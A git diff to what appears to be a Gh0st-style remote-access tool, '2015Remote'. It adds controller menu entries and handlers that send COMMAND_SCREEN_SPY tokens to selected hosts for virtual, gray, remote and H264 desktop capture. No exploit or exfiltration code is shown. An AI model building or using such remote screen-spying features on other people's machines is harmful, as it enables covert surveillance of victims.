diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 6f01c08..3b8d394 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -112,7 +112,7 @@ public: ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr), - m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF), m_SendQuality(100), + m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100), m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1), m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n), m_SendKeyFrame(false), m_encoder(nullptr) { diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index cc89b80..afb12a8 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 6719d65..722af8b 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -265,6 +265,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE); m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY); m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE); + m_bmOnline[6].LoadBitmap(IDB_BITMAP_VDESKTOP); + m_bmOnline[7].LoadBitmap(IDB_BITMAP_GDESKTOP); + m_bmOnline[8].LoadBitmap(IDB_BITMAP_DDESKTOP); + m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -356,6 +360,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback) // 将所有动态子菜单项的命令 ID 映射到同一个响应函数 ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu) + ON_COMMAND(ID_ONLINE_VIRTUAL_DESKTOP, &CMy2015RemoteDlg::OnOnlineVirtualDesktop) + ON_COMMAND(ID_ONLINE_GRAY_DESKTOP, &CMy2015RemoteDlg::OnOnlineGrayDesktop) + ON_COMMAND(ID_ONLINE_REMOTE_DESKTOP, &CMy2015RemoteDlg::OnOnlineRemoteDesktop) + ON_COMMAND(ID_ONLINE_H264_DESKTOP, &CMy2015RemoteDlg::OnOnlineH264Desktop) END_MESSAGE_MAP() @@ -975,6 +983,10 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]); Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]); Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]); + Menu.SetMenuItemBitmaps(ID_ONLINE_VIRTUAL_DESKTOP, MF_BYCOMMAND, &m_bmOnline[6], &m_bmOnline[6]); + Menu.SetMenuItemBitmaps(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND, &m_bmOnline[7], &m_bmOnline[7]); + Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]); + Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]); // 创建一个新的子菜单 CMenu newMenu; @@ -2480,3 +2492,31 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) { } LeaveCriticalSection(&m_cs); } + + +void CMy2015RemoteDlg::OnOnlineVirtualDesktop() +{ + BYTE bToken[32] = { COMMAND_SCREEN_SPY, 2, ALGORITHM_DIFF }; + SendSelectedCommand(bToken, sizeof(bToken)); +} + + +void CMy2015RemoteDlg::OnOnlineGrayDesktop() +{ + BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY }; + SendSelectedCommand(bToken, sizeof(bToken)); +} + + +void CMy2015RemoteDlg::OnOnlineRemoteDesktop() +{ + BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF }; + SendSelectedCommand(bToken, sizeof(bToken)); +} + + +void CMy2015RemoteDlg::OnOnlineH264Desktop() +{ + BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264 }; + SendSelectedCommand(bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 44613e9..8d7226f 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -182,7 +182,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[6]; + CBitmap m_bmOnline[10]; bool CheckValid(); afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); @@ -235,4 +235,8 @@ public: afx_msg void OnHelpImportant(); afx_msg void OnHelpFeedback(); afx_msg void OnDynamicSubMenu(UINT nID); + afx_msg void OnOnlineVirtualDesktop(); + afx_msg void OnOnlineGrayDesktop(); + afx_msg void OnOnlineRemoteDesktop(); + afx_msg void OnOnlineH264Desktop(); }; diff --git a/server/2015Remote/res/Bitmap/DxgiDesktop.bmp b/server/2015Remote/res/Bitmap/DxgiDesktop.bmp new file mode 100644 index 0000000..55d890e Binary files /dev/null and b/server/2015Remote/res/Bitmap/DxgiDesktop.bmp differ diff --git a/server/2015Remote/res/Bitmap/GrayDesktop.bmp b/server/2015Remote/res/Bitmap/GrayDesktop.bmp new file mode 100644 index 0000000..817f885 Binary files /dev/null and b/server/2015Remote/res/Bitmap/GrayDesktop.bmp differ diff --git a/server/2015Remote/res/Bitmap/SpeedDesktop.bmp b/server/2015Remote/res/Bitmap/SpeedDesktop.bmp new file mode 100644 index 0000000..bceb455 Binary files /dev/null and b/server/2015Remote/res/Bitmap/SpeedDesktop.bmp differ diff --git a/server/2015Remote/res/Bitmap/VirtualDesktop.bmp b/server/2015Remote/res/Bitmap/VirtualDesktop.bmp new file mode 100644 index 0000000..4ebb026 Binary files /dev/null and b/server/2015Remote/res/Bitmap/VirtualDesktop.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index c9939ed..b6d61fa 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ